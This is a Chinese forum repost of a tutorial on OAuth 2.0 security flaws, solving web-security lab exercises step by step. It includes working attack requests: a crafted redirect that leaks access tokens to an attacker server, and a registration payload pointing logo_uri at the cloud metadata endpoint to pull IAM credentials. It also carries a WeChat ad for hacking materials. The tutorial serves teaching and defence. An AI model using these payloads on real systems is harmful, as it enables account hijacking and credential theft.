ToB企服应用市场:ToB评测及商务社交产业平台

标题: OAuth2.0协议安全学习 [打印本页]

作者: 干翻全岛蛙蛙 时间: 2022-9-16 17:21
标题: OAuth2.0协议安全学习
有一个问题困扰了很久很久，翻来覆去无法入眠，那就是OAuth2.0有什么安全问题啊？
OAuth2.0是一种常用的授权框架，它使网站和 Web 应用程序能够请求对另一个应用程序上的用户帐户进行有限访问，在全世界都有广泛运用。
OAuth2.0简介

OAuth2.0是什么

OAuth2.0是授权的工业标准协议，该协议允许第三方应用程序对于服务的有限访问，例如常见的第三方登录就基于此协议
OAuth2.0应用情景

OAuth2.0常被应用于以下情景
1、应用于第三方应用登录，将受保护的用户资源授权给第三方信任用户，从而避免二次登录造成泄密
2、应用于多服务场景中，用于服务的统一登陆认证，对内部系统之间的资源请求进行权限管理
3、应用于开发平台场景中，对系统敏感资源进行安全认证和保护
密码与OAuth2.0

1、密码与令牌（token）的作用是一样的，但令牌有其特点
　用户无法自己修改
　且一般来说token是短期的
　可以被所有者撤销
　token的权限一般是有限制的，而对于密码而言，其权限一般是完整权限
２、基于以上设计，OAuth2.0协议即可保证可以使得第三方应用获得权限使用，但又随时处于可控，这就是OAuth2.0的优点所在

OAuth2.0运行流程和授权模式

首先了解一下大概结构

Client: 第三方应用 Resource Owner: 资源所有者 Authorization Server: 授权服务器 Resource Server: 拥有资源信息的服务器

复制代码

以下即为运行过程
[img=720,386.31853785900785]https://www.hetianlab.com/headImg.action?news=4a9af734-26b9-4eb1-8c04-6b0ae0fc9aae.png[/img]
OAuth的授权模式有五种
　授权码模式|authorization code
　简化模式|implicit
　密码模式|resource owner password credentials
　客户端模式|client credentials

在请求中一般存在response_type一类的参数，根据授权模式的不同，参数内容也会不同，这就是我们判断不同授权模式的重要依据
详情可见

https://www.ruanyifeng.com/blog/2014/05/oauth_2_0.html

四种授权模式，安全问题大多在authorization code模式和implicit模式发生，我们也可以对此着重了解
OAuth2.0安全问题分析

为什么出现问题

OAuth2.0的授权认证流程大部分情况下是没有问题的，但他缺少内置的安全功能，认证是否安全几乎完全取决于使用者的正确配置，例如是否对token进行数据绑定、是否对数据本身进行加密等，而且不同的授权方法有不同的1特点，而根据授权类型，即使是高度敏感的数据都会被通过浏览器发送，给了攻击者各种拦截数据的机会
怎么判断是否使用OAuth2.0认证方法

主要可以通过两点判断
1、对数据进行抓包，基本所有的认证请求都是自/authorization开始，并且携带了类似于Client_id、redirect_uri等标志参数
2、是否可以使用第三方应用进行登录，如若可以，基都是采取OAuth2.0认证
授权服务器认证绕过

当我们完成登录获取第三方资源时，是通过一个用户邮箱、ID进行识别，但如果第三方资源授权没有对此进行合理的认证，就有可能绕过授权服务器认证
1、靶场
Lab: Authentication bypass via OAuth implicit flow
2、解法
进行抓包，查看数据包的交互流程，在/authorization看到有邮箱、ID返回认证

可以尝试修改email和username
[img=720,530.9184993531695]https://www.hetianlab.com/headImg.action?news=451759a0-310f-46b0-b8be-6f3923e652f3.png[/img]
Forward发送，发现token并没有进行内容绑定，成功login
[img=720,100.95373665480427]https://www.hetianlab.com/headImg.action?news=9ceb10b6-87c8-43b6-9a64-56343a4965ab.png[/img]
【----帮助网安学习，以下所有学习资料免费领！加vx：yj009991，备注 “博客园” 获取！】
　① 网安学习成长路径思维导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析报告
　④ 150+网安攻防实战技术电子书
　⑤ 最权威CISSP 认证考试指南+题库
　⑥ 超1800页CTF实战技巧手册
　⑦ 最新网安大厂面试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
CSRF关联账号

造成这个安全问题的主要原因是对OAuth组件的配置错误，比如state参数
这个参数可以类比于CSRF令牌token，一般是作为与会话信息相关联的一个hash值，作为客户端与服务端之间通信的token令牌，而当配置出现问题，攻击者就可以将受害者第三方登录信息绑定到自己的账号实现CSRF
1、靶场
Lab: Forced OAuth profile linking
2、解法
我们先正常登录

点击绑定social profile，对social media认证页面进行抓包，得到令牌code
[img=720,236.93710118505012]https://www.hetianlab.com/headImg.action?news=f0b28b47-aa31-4c94-b2b1-f78d9eb77002.png[/img]
我们可以先直接带上访问一下试试

这是因为我们还没有实现绑定登录，我们现在要做的就是让管理员登录时带上的是我们的code，这样我们就可以成功劫持管理员账号
我们重新抓取一个包拿到code，得到code后drop掉不让他成功登录认证
然后进入exploit修改body
[img=720,351.5744680851064]https://www.hetianlab.com/headImg.action?news=c6ee4650-6e58-477a-9238-71a01ca0a6a8.png[/img]

[/code]发送给受害者，而后重新登录social media
成功登录admin
[img=720,225.85263157894738]https://www.hetianlab.com/headImg.action?news=6c38714d-40f0-4e5f-aa87-4c48f4a34d63.png[/img]
删掉carlos用户即可
[size=5]CSRF获取敏感信息[/size]
我们正常登录认证后需要从认证页面重定向回到原本的页面，这里起到作用的就是redirect_uri参数，这是一个很合理的设计，但如果redirect_uri重定向回来的是其他地方，比如我们的攻击服务器，那么我们是不是可以窃取到一些敏感信息，例如我们上一道题登录admin用到的code
与上一题不同的点在于，前者是攻击者生成了token让admin绑定，这里是让admin生成token攻击者拿到去进行绑定
1、靶场
Lab: OAuth account hijacking via redirect_uri
2、解法
我们抓包可以看到很多个参数，返回的response有个重定向回到原本的登陆页面
[img=720,189.63168867268936]https://www.hetianlab.com/headImg.action?news=11cbe90f-6e7d-41e0-8038-6cc9cef89228.png[/img]
我们可以先简单测试一下，把redirect_uri参数换成我们的攻击服务器
[img=764,65]https://www.hetianlab.com/headImg.action?news=394cd70c-f033-415b-991b-bdb66aa8e7d1.png[/img]
[img=824,79]https://www.hetianlab.com/headImg.action?news=46cf9900-82ae-4bea-85a6-2bbe5c55506e.png[/img]
访问抓包
[img=664,141]https://www.hetianlab.com/headImg.action?news=5f21e392-0a8d-449e-a566-b63c75d80fc2.png[/img]
callback
[img=676,111]https://www.hetianlab.com/headImg.action?news=7f89ce33-ce6d-49ef-839c-17c812ba080f.png[/img]
可以看到host变成了我们的攻击服务器，这就是问题所在
我们进入exploit修改body
[img=720,339.7236981934113]https://www.hetianlab.com/headImg.action?news=3898afcd-f6c4-4a34-b344-3bf0631841c9.png[/img]
[code]

复制代码

修改redirect_uri重定向回我们的exploit，store存储一下，然后view exploit预览一下

确认可以后发送给受害者，然后查看log，可以看到就能窃取到code

然后根据包的发送流程，将code进行修改callback回去
[img=720,201.9206680584551]https://www.hetianlab.com/headImg.action?news=268202df-1d72-40e8-a54c-cf70cde4f630.png[/img]

https://0a9f002504223c0dc09209d200340068.web-security-academy.net/oauth-callback?code=FXCVQ2aBY087fAtUfkhq_hoW6Iifug0OlkGcHO31Do6

复制代码

成功登录admin，删除用户就行

通过开放重定向获取敏感信息

与上一道类似，但是这里加入了对重定向redirect_uri参数的检测，限制url为client app，这时候可以通过在client app中寻找open redirect漏洞，再搭配CSRF得到code实现越权
1、靶场
Lab: Stealing OAuth access tokens via an open redirect
2、解法
抓包然后查找apikey，发现在/me路径，放入repeater

测试redirect_uri，发现是以白名单进行验证，无法以外域作为重定向提供，同时发现存在目录遍历漏洞
[img=720,307.97987059669305]https://www.hetianlab.com/headImg.action?news=3462dc09-6f48-4159-a7b8-9ee02d1b3e26.png[/img]
[img=720,269.5664143152099]https://www.hetianlab.com/headImg.action?news=92e772d6-b058-4fb6-a528-8f6169ad05e3.png[/img]
进行寻找漏洞利用点，发现每个blog下方均有一个post点，易受目录遍历，选择进行测试

抓包放入repeater中测试，发现可以重定向到外域，这样我们就可以利用1这个重定向到我们的攻击服务器，进行敏感数据的窃取

我们修改url重定向回exploit

https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-LAB-ID.web-security-academy.net/oauth-callback/../post/next?path=https://YOUR-EXPLOIT-SERVER-ID.web-security-academy.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email

复制代码

[img=720,118.13953488372093]https://www.hetianlab.com/headImg.action?news=52242cbd-948a-44e0-b560-d974dd115882.png[/img]
进行访问，成功返回hello，world
[img=720,100.27855153203343]https://www.hetianlab.com/headImg.action?news=efa2b4fa-6436-493c-b1cb-c73fd98e18e8.png[/img]
这样我们就可以编写script，让admin登录从而泄露token

[/code][img=720,221.06609808102345]https://www.hetianlab.com/headImg.action?news=17993dd0-6784-4a14-b6dd-3102491ceba6.png[/img]
发送给受害者后进入access log，得到access_token
[img=718,102]https://www.hetianlab.com/headImg.action?news=4f43b2f7-9db0-4979-abd2-7bc9f9edb097.png[/img]
将access_token替换到/me路径的Authorization: Bearer标头中的token
[img=573,77]https://www.hetianlab.com/headImg.action?news=2fe0d562-578d-494a-b378-de91a7681a4e.png[/img]
发送即可得到apikey，提交即可
[size=5]危险传递、使用某些特定数据[/size]
当OAuth存在专用注册端点来运行客户端自行注册，而OAuth服务又以一种不安全的方式来传递、使用某些特定于客户端的数据，就可能存在SSRF漏洞，出现密钥的泄露
1、靶场
Lab: SSRF via OpenID dynamic client registration
2、解法
首先我们需要了解的是在OAuth服务开发中，存在这样一类文件
[indent]/.well-known/openid-configuration（类似的url还有/.well-known/oauth-authorization-server和/.well-known/jwks.json）
他们存储着一些相关的配置
[/indent]我们尝试访问
[code]https://YOUR-LAB-OAUTH-SERVER.web-security-academy.net/.well-known/openid-configuration

复制代码

可以发现/reg是注册点，我们可以在repeater中创建一个post请求向OAuth请求注册，而这其中必须提供至少一个redirect_uris数组
[img=720,179.33283914010377]https://www.hetianlab.com/headImg.action?news=2fb9ca68-a873-4fbf-b1a1-ce17230a31d2.png[/img]
传参后我们可以看到服务器给我们返回了client_id和一系列数据
我们继续翻看配置参数，其中最有可能存在SSRF的url参数就是logo_uri
我们可以进行尝试，启动Burp Collaborator client

POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json { "redirect_uris" : [ "https://example.com" ], "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN" }

复制代码

[img=720,217.36925515055466]https://www.hetianlab.com/headImg.action?news=d59db45e-3fb3-48bb-9218-37e334068e92.png[/img]
发现可以成功携带数据

当我们拿着生成的client_id去访问的时候我们也可以发现确实会携带出一些特殊数据

/client/CLIENT-ID/logo

复制代码

那当我们修改logo_uri为其他url时，我们就可以携带出我们想要的东西了，而题目已经给出了攻击服务器的url，我们替换一下

POST /reg HTTP/1.1 Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net Content-Type: application/json { "redirect_uris" : [ "https://example.com" ], "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/" }

复制代码

[img=720,328.8]https://www.hetianlab.com/headImg.action?news=d09c996d-efaa-4177-b27f-6f5d3f632210.png[/img]
[img=720,160.62402496099844]https://www.hetianlab.com/headImg.action?news=1bc64f0f-82f4-4125-868a-6a0c0658bd65.png[/img]
得到key
防御总结

使用白名单检验redirect_url参数
检验state参数是否存在
ccess token和client_id是否匹配，同时验证access token的访问范围
修复client端的开放重定向漏洞，防止auth code的泄露

声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。
更多靶场实验练习、网安学习资料，请点击这里>>
搜索
复制

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)